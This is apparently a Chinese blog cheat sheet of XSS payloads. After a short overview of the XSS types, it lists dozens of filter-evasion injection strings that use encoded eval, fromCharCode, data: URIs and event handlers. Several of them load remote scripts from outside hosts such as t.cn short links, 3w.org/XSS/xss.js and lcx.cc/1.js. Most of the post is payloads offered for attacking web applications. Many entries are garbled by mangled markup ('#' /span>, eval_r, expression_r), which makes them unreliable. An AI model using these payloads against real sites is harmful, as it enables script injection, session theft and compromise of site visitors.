XSS 跨站测试代码大全2

0x01 XSS介绍

1. XSS分类
(1) 反射型XSS、
(2)存储型XSS、
(3)Dom型XSS、
(4) 通用型XSS、(全称Universal Cross-Site Scripting,翻译过来就是通用型XSS 简称UXSS)   
(5) 突变型XSS ( 介绍: mXS()突变 XSS) 是当不可信数据在 DOM 的 innerHTML 属性的上下文被处理并通过浏览器发生突变,导致变成一种有效的 XSS 向量的一种 XSS 漏洞。在 mXSS,一个看起来无害的可以通过客户端或服务端XSS过滤器的用户指定的数据通过浏览器执行引擎发生突变可以反射回一个有效的 XSS 向量。XSS 过滤器不能防止 mXSS))


2.UXSS由于前面提到的几种XSS有什么区别?
常见的XSS攻击的是因为客户端或服务端的代码开发不严谨等问题而存在漏洞的目标网站或者应用程序。这些攻击的先决条件是页面存在漏洞,而它们的影 响往往也围绕着漏洞页面本身的用户会话。换句话说,因为浏览器的安全功能的影响,XSS攻击只能读取受感染的会话,而无法读取其他的会话信息,也就是同源 策略的影响。
UXSS保留了基本XSS的特点,利用漏洞,执行恶意代码,但是有一个重要的区别:
不同于常见的XSS,UXSS是一种利用浏览器或者浏览器扩展漏洞来制造产生XSS的条件并执行代码的一种攻击类型。

讲了这么多大家应该明白,通俗的说,就是原来我们进行XSS攻击等都是针对Web应用本身,是因为Web应用本身存在漏洞才能被我们利用攻击;而UXSS不同的是通过浏览器或者浏览器扩展的漏洞来”制作XSS漏洞”,


0x02 准备
<script></script>   script: 标签用于定义客户端脚本,比如 JavaScript。script 元素既可以包含脚本语句,也可以通过 src 属性指向外部脚本文件。必需的 type 属性规定脚本的 MIME 类型。JavaScript 的常见应用时图像操作、表单验证以及动态内容更新

Script:属性
1.        属性                    值                 描述
2.        type          MIME-type             指示脚本的 MIME 类型。
3.        async        async                  规定异步执行脚本(仅适用于外部脚本)。
4.        charset      charset               规定在外部脚本文件中使用的字符编码。
5.        defer         defer                   规定是否对脚本执行进行延迟,直到页面加载为止。
6.        language    script                 不赞成使用。规定脚本语言。请使用 type 属性代替它。
7.        src            URL                     规定外部脚本文件的 URL。
8.        xml:space  preserve            规定是否保留代码中的空白。
( 注意 <script> 标签默认支持 HTML 中的全局属性。)


0x03 基本payload
<script>alert(“xss”)</script>
<script>alert(/xss/)</script> //双引号换成斜杠
<script>alert(‘xss’)</script> //用单引号
<script>alert("xss");</script> //用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq") //自动补全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //用分号
<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //空格+分号

<script>alert("xss");;;;;;;;;;;;;;;;;        ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //换行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script> //回车
Default
单引号被过滤
<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显


单引号被过滤
<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显
Default
【javascript伪协议】回旋
<a href="javascript:alert(/test/)">xss</a>


【javascript伪协议】回旋
<a href="javascript:alert(/test/)">xss</a>
Default
<script>被过滤↓

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签

<script>被过滤↓

<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe框架标签
Default
alert被过滤
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>


alert被过滤
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
Default
【img标记】
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>


【img标记】
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://t.cn/R5UpyOt';>
Default
on事件点击触发
onclick="alert('xss') //注意要用单引号 双引号不会触发


on事件点击触发
onclick="alert('xss') //注意要用单引号 双引号不会触发
Default
on事件-移动触发
Onmousemove="alert('xss')


on事件-移动触发
Onmousemove="alert('xss')
Default
【利用函数加密】
eval 函数配合编码
<script>eval(“js+16进制加密”)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)

【利用函数加密】
eval 函数配合编码
<script>eval(“js+16进制加密”)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>
编码要执行的语句↓
Alert(“xss”)
Default
【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记

【unicode加密】
<script>eval("unicode加密")</script>
//js unicode加密 解决alert()被过滤
<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>
格式↓
标记eval(“编码”) 结束标记
Default
【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>

【String.fromCharCod函数】
String.fromCharCode需要配合eval来实现,
构造
<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>
eval内容加引号相当于正常js语句来执行
不加引号,则是默认作为eval的其他参数语句来执
固定格式→<script>eval(String.fromCharCode编码内容))</script>
Default
【data协议运用】
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式
Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
Data //协议
<mime type> //数据类似
charset=<charset>  //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
实际编码↓
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
base64编码要执行的内容
特点:不支持IE

【data协议运用】
<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUnE5bjZ6dT48L3NjcmlwdD4="></object>
格式
Data:[<mime type>][;charset=<charset>[;base64],<encoded data>
Data //协议
<mime type> //数据类似
charset=<charset>  //指定编码
[;base64] //被指定的编码
<encoded data> //定义data协议的编码
实际编码↓
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
base64编码要执行的内容
特点:不支持IE
0x04 各payload实战
<img src=javascript:document.write('<scr'+'ipt src=\'http://www.baidu.com/1.txt\'></scr'+'ipt>')></img>  //仅支持IE6


<img src=javascript:window.s=document.createElement('script');window.s.src='http://lcx.cc/1.js';document.body.appendChild(window.s);></img>  //仅支持IE6


<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss


<img src=x onerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">


<input autofocus="bbbb" />


<object data="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

<iframe width="0px" height="0px" src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

<a href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

<anchor>、<img>(不执行js) <a>(需点击) <meta>.....

<anchor onload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<svg onload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

<svg onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

<baa id="1" tabindex=0>


(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号
<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)
<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码
<IMG SRC=jav..省略..S')>

(9)7位的UTF-8的Unicode编码是没有分号的
<IMG SRC=jav..省略..S')>

(10)十六进制编码也是没有分号
<IMG SRC=\'#\'" /span>

(11)嵌入式标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(13)嵌入式换行符
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(14)嵌入式回车
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子
<IMG SRC=\'#\'" /span>

(16)解决限制字符(要求同页面)
<script>z=’document.’</script>
<script>z=z+’write(“‘</script>
<script>z=z+’<script’</script>
<script>z=z+’ src=ht’</script>
<script>z=z+’tp://ww’</script>
<script>z=z+’w.shell’</script>
<script>z=z+’.net/1.’</script>
<script>z=z+’js></sc’</script>
<script>z=z+’ript>”)’</script>
<script>eval_r(z)</script>

(17)空字符
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签
<IMG SRC=\'#\'"  
  javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3
<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>

(23)双开括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2
<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScript XSS
<IMG SRC=\'#\'" /span>

(27)双开角括号
<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript
\”;alert(‘XSS’);//

(30)结束Title标签
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image
<INPUT SRC=\'#\'" /span>

(32)BODY Image
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签
<BODY(‘XSS’)>

(34)IMG Dynsrc
<IMG DYNSRC=\'#\'" /span>

(35)IMG Lowsrc
<IMG LOWSRC=\'#\'" /span>

(36)BGSOUND
<BGSOUND SRC=\'#\'" /span>

(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>

(39)List-style-image(列表式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript
<IMG SRC=\'#\'" /STYLE><UL><LI>XSS

(41)META链接url
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe
<IFRAME SRC=\'#\'" /IFRAME>

(43)Frame
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>

(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>

(52)IMG STYLE方式
exppression(alert(“XSS”))’>

(53)STYLE background
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=\'#\'" /span>” ></EMBED>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值